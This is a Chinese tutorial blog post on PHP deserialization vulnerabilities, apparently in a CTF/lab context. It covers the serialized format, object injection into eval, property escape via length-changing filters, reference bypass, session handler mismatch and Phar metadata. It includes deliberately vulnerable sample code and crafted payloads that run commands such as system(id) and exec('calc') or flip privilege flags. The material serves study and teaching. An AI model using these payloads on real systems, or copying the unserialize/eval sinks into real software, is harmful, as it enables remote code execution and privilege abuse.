php 序列化漏洞
介绍
反序列化漏洞,利用了后端服务的设计缺陷
序列化和反序列化
对象 =(序列化)》 字符串
对象 《(反序列化)= 字符串
序列化字符串构建
首先,理解下 对象 序列化后 是个 嘛玩意儿
上代码
<?php
class test{
public $a = 'hello';
private $b = 'hello';
protected $c = 'hello';
public function displayVar() {
echo $this->a;
}
}
$hxdyjx = new test();
echo serialize($hxdyjx);
echo PHP_EOL;
echo urlencode(serialize($hxdyjx));
//O:4:"test":3:{s:1:"a";s:5:"hello";s:7:"%00test%00b";s:5:"hello";s:4:"%00*%00c";s:5:"hello";}
对照理解
名称 | 意义 |
---|---|
O:4:"test":3:{} | 类 长度4 名称test 有3个小弟 |
s:1:"a";s:5:"hello" | 一般的小弟 名字长度1 小弟叫a 小弟5cm长 铭文hello |
s:7:"%00test%00b";s:5:"hello"; | 大佬禁脔级小弟 名字长度7 小弟叫b(%00test%00 占了6个字节)小弟5cm长 铭文hello |
s:4:"%00*%00c";s:5:"hello"; | 受帮派保护的小弟 名字长度4 小弟叫c(%00*%00 占了3个字节)小弟5cm长 铭文hello |
反序列化漏洞示例
<?php
class test{
public $a = 'calc';
public function displayVar() {
eval($this->a);
}
}
//$get = new test();
//$get = serialize($get);
//echo $get;
$get = 'O:4:"test":1:{s:1:"a";s:13:"exec("calc");";}';
$b = unserialize($get);
$b->displayVar() ;
?>
这里的'O:4:"test":1:{s:1:"a";s:13:"exec("calc");";}' 就是我构造的payload,如果是http 请求 ,是不是就是一个一句话木马啦?
字符串逃逸 增多 减少
特性
反序列化分隔符
反序列化以 ;} 结束,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过一次serialize再进过unserialize,在这个中间反序列化的字符串变多或者变少的时候 有可能存在反序列化逃逸
问题
为啥要先经过一此serialize 再进行 unserialize? 在 PHP 服务端中,将数据序列化然后再反序列化的常见原因有以下几点:
- 数据传输和存储:序列化后的数据通常可以更轻松地进行传输和存储。例如,可以将序列化后的数据存储在文件中、通过网络发送,或者存储在数据库中。
- 跨语言交互:序列化后的数据可以更容易地在不同的编程语言之间进行交互。通过序列化,可以将 PHP 中的数据转换为通用的格式,然后在其他语言中进行反序列化,从而实现跨语言通信。
- 数据结构不确定性:有时候,数据的结构可能会在运行时发生变化,或者数据的结构比较复杂,难以直接处理。通过序列化,可以将数据转换为字符串形式,然后在需要时再进行反序列化,使得数据的结构更加灵活,更容易处理。
- 缓存:在缓存数据时,通常会将数据序列化后存储起来。这样做可以减少数据在存储和检索过程中的转换成本,并且可以更有效地利用缓存空间。
逃逸思路
- 判断是增多还是减少。
- 增多的情况:想办法覆盖掉,需要替换的字符。
- 减少的情况:想办法合入到一个value 值中。
- 判断哪个属性需要逃逸。
变多
示例
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param='paylaod'
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
构造
<?php
class test{
var $user='php';
var $pass='daydream';
//daydream => escaping
}
echo serialize(new test());
//O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"daydream";}
// ";s:4:"pass";s:8:"daydream";} 截取这段代码,使用php来覆盖内容 29个字符 = 29个 'php',最后添加 ";s:4:"pass";s:8:"escaping";}
payload
payload: phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
之后将这段payload 打到 param 中就可以啦~
变少
示例
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
echo $name.PHP_EOL;
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param='payload';
$pass='";s:4:"pass";s:2:"11";s:3:"vip";b:1;}';
$param=serialize(new test($param,$pass));
echo $param.PHP_EOL;
$profile=unserialize(filter($param));
if ($profile->vip){
echo 'SUCC';
}
构造
<?php
class test{
var $user ='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp';
var $pass ='";s:3:"vip";b:1;s:4:"pass";s:2:"11"}';
var $vip = true ;
}
echo serialize(new test);
paylaod
user: phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp
pass: ";s:3:"vip";b:1;s:4:"pass";s:2:"11"}
引用绕过
介绍
根据php 引用的特性构造序列化漏洞
示例
<?php
class just4fun {
var $enter;
var $secret;
}
$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);
构造
<?php
class just4fun {
var $enter;
var $secret;
}
$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);
payload
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
解析下R2 是怎么生成的
<?php
class just4fun {
var $hxdyjx1 = 'xxx';
var $secret;
var $enter;
var $hxdyjx2 = 'xxx';
}
$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);
// O:8:"just4fun":4:{s:7:"hxdyjx1";s:3:"xxx";s:6:"secret";N;s:5:"enter";R:3;s:7:"hxdyjx2";s:3:"xxx";}
Session 序列化
产生原因
写入格式和读取格式不一致
处理器 | 存储格式 |
---|---|
php | benben|s:6:"123456"; |
php_serizalize(php>=5.5.4) | a:2: |
php_binary | 没用到 |
示例
写入php序列化格式
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
读取php格式
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
payload 构建
<?php
class D{
var $a='system(id)';
}
echo serialize(new D);
payload
|O:1:"D":1:{s:1:"a";s:11:"system(id);";}
Phar 序列化
结构
stub phar 文件标识,格式为xxx (头部信息)
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;
Phar 协议解析文件时,会自动触发manifest 的序列化字段,进行反序列化
触发条件
- phar 文件能上传到服务器端(./upload.php)
- 要有可用反序列化魔术方法作为跳板(_destruct())
- 要有文件操作函数(md5_file)
- 文件操作函数参数可控($_POST['file'])
- 版本高于 php5.3 (这个还要去调研下)
生成phar
条件
php>=5.2 在php.ini 中将phar.readonly 设为off(注意去掉前面的分号)
构建phar
<?php
highlight_file(__FILE__);
class TestObject{
}
@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();>');
$o=new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix